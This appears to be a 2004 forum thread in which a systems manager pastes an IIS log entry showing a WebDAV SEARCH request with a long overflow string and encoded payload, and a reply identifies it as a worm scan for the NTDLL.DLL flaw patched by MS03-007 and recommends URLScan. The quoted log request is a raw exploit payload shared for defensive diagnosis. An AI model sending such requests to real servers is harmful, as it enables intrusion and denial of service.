04-28-04 12:34 PM
It looks like a scan for the old NTDLL.DLL vulnerability via WebDAV that was
fixed by the MS03-007 patch. The resurgence of these scans now is probably
due to the Agobot / Gaobot / Polybot / Phatbot family of trojans.
URLScan and IIS Lockdown is a good bet, I would have wanted it on there
right from the start of the server's life. I wouldn't recommend running an
IIS 5 or older server without it.
"Kfir" <kc@csgglobal.com> wrote in message
news:564701c42d07$6f5292c0$a101280a@phx.gbl...
I may found a new security hole in IIS. Some of my
websites stopped responding on http, I checked the logs
and found this:
SEARCH / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAA?????????????????????????????????????
####??????????
rmomddddddisjhnegdddddddlohddplokdepnqlo
jldlloskjndiimrlim
ddddddrfsmlgrpehggpdidjlfrjikljijljljskg
khjlipkgkjjgloqpid
jndjjndfididjlddddddhdigssejlgslsskhfmlo
sljnddlopjlgpdelid
loilspiglgpddhidikssijdhidikssijdlillipd
khdmloqpggpdidigss
ijdpssijedieijlohigploihflkldgqiiflokffd
dgsiggpmhmhenqdgpi
ggqodsoredgnqjkhdlpepodqdgqnhdrosegoeski
rkinloinfhdgqqjjlo
dpholoinepdgqqlodhlodgpinoirimpgrlhfssss
ssniekddkpeskmdnrl
somksqdsmlsrlndrrsprrdjdddgfdddddddddddd
hqinmddddgdddddddh
ddddddssssddddolddddddddddddddhddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
ddddrldddddddreson
drddohdmpqfeoldehppqfeihjljmkgfdkdkfjsjk
kfjejqfdjgjejrjrjs
khfdjfjifdkfkijrfdjmjrfdhhhsigfdjqjsjhji
frdqdqdnfhdddddddd
ddddddnigldipkreimjomhreimjomhreimjomhmn
hijkmhrgimjomhjfhi
jimhrgimjomhlrhjjemhrnimjomhlrhjjsmhrgim
jomhreimjnmhljimjo
mhjfiegjmhrlimjomhrkknjdmhrdimjomhifjmjg
jlreimjomhdddddddd
dddddddddddddddddddddddddddddddddddddddd
idhiddddhpdedgddiq
rlegjeddddddddddddddddrddddsdedodekmqkdd
gdddddddedddddddmd
ddddndpnddddddndddddddqdddddddddhddddded
dddddddfdddddhdddd
dddddddddddhddddddddddddddddrddddddddhdd
dddddddddddgdddddd
ddddedddddedddddddddedddddeddddddddddddd
eddddddddddddddddd
ddddddddqdddddgldedddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
ddddddddddddddddddddddddddddddddmddddddd
eddddddddddddddddh
ddddddddddddddddddddddddddddldddddrddddd
ddddddddddddddgddd
ddddndddddddfpdddddddhdddddddddddddddddd
ddddddddddhdddddrd
ddddddddddddddddddedddddddqddddddddfdddd
ddgddddddddddddddd
ddddddddddddddhdddddpddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
dddddddddddddddddddddddddddddddddddddddd
dddddddddddddddddd
ddddddddddddddddddddddddddsssseirlhdhddd
rldddddqoplipdkigi
jldhdednjlkhngefidojsfppjpemrpedgpklfmsd
iooosqhsfnsplgsldf
kidirmdmdefpdhddhpsrqskrpmpgmdlerpdldfef
lqhhfhddijiklogqgl
hehdsossompigpifrdjpqklgphdplqhpfhdljndd
iejhkkjgosqqigrdhd
dirhhdkdgpfrlogihdsjkkkskgdifkdhssqjmmom
diirsksmloehmiklir
egqsmrhpqlifeejhfidkdsldkmdihlonookksslg
plslhdlodhlioqgqme
pkliirdkffkpmrehpqhhfmdpiokihkrhlegrkjse
pnidopsflpskgoieeo
qoqosssssseirlhdhdddrldddddqoplipdkigijl
dhdednjlkhngefidoj
sfppjpemrpedgpklfmsdiooosqhsfnsplgsldfki
dirmdmdefpdhddhpsr
qskrpmpgmdlerpdldfeflqhhfhddijiklogqglhe
hdsossompigpifrdjp
qklgphdplqhpfhdljnddiejhkkjgosqqigrdhddi
rhhdkdgpfrlogihdsj
kkkskgdifkdhssqjmmomdiirsksmloehmiklireg
qsmrhpqlifeejhfidk
dsldkmdihlonookksslgplslhdlodhlihheilqlp
fhehohidjlqlkgiesg
kfhlikfhdesrehligpqmrqkhokneepiffmfhlpqp
jlqnjdrskkqodpklfh
dkdeopisirlephpmqokksgsqjsddlgrpedjlsljp
ogqpggpdpkrmkknsqo
grgplmdkdldgdpsmegdhkdeeoooikkjgqeglfhsk
qleopddgkpphedhplf
rmqrojjlpdefddjrheghkhkgmosssjngshnikokh
ghjndejnddjndffmip
dldnofoeiljhdhlodsdgenkfreiorhdehsgdpfdl
ddjsnddejrjrfogped
igiikesgdfogimmlhesskqrkkrdslijpdqfpedrp
nesdnieekhempkdiql
sromprkikoileknieddjesdjrproekoofkfkpsel
jhdddedlgpdhdplphp
jkhldlndmnehdskskkskesnllqdpldlofqpheqlo
eqpldilqdhhllqehld
neklpkliqslhlfjqlmihjgkpgnfpksginegldrok
sorjdhdmsskhfoidgp
egsphhjrmiesgoonerokehdsepidedldffqmlqnq
soqsssqgnldgjqqidn
pphdeflipqlqoeejqjhsqdhdhlkdheeoioodrjng
hpkmqklgjkehekdhkg
mssqjqikiffkjlndfjghjjngqhqehqrlkrmqsods
lhjgqdienegjjnsspm
qhrmkjdqpspoelipoheldlereprrfedgejkoskef
fpdhfhkpjlmdjekqeq
eoqrpqlsilmrfqklngkdmggrdijlqdssqnqjdpil
ilieqgmqlolosdlerj
sspgqldpleddqknolgsndgkkeqssfhmijeslqsqp
ipeheqnmedperfeddg
sfrodolojikqmdjsooeiperddpsdfoeodldslkmi
- 404 -
This is some kind of URL Request that after getting it a
few times IIS will stop responding on HTTP.
It came from different IP addresses in the world and
seems to be from machines with Windows98 (Trojan horse
maybe?)
I fixed it with installing URLSCAN tool on IIS which
automatically rejects these requests.
If anyone has information about it or has seen it too
please reply here.
Regards,
Kfir cohen -MCSE
Systems Manager.
[ Post a follow-up to this message ]
| 
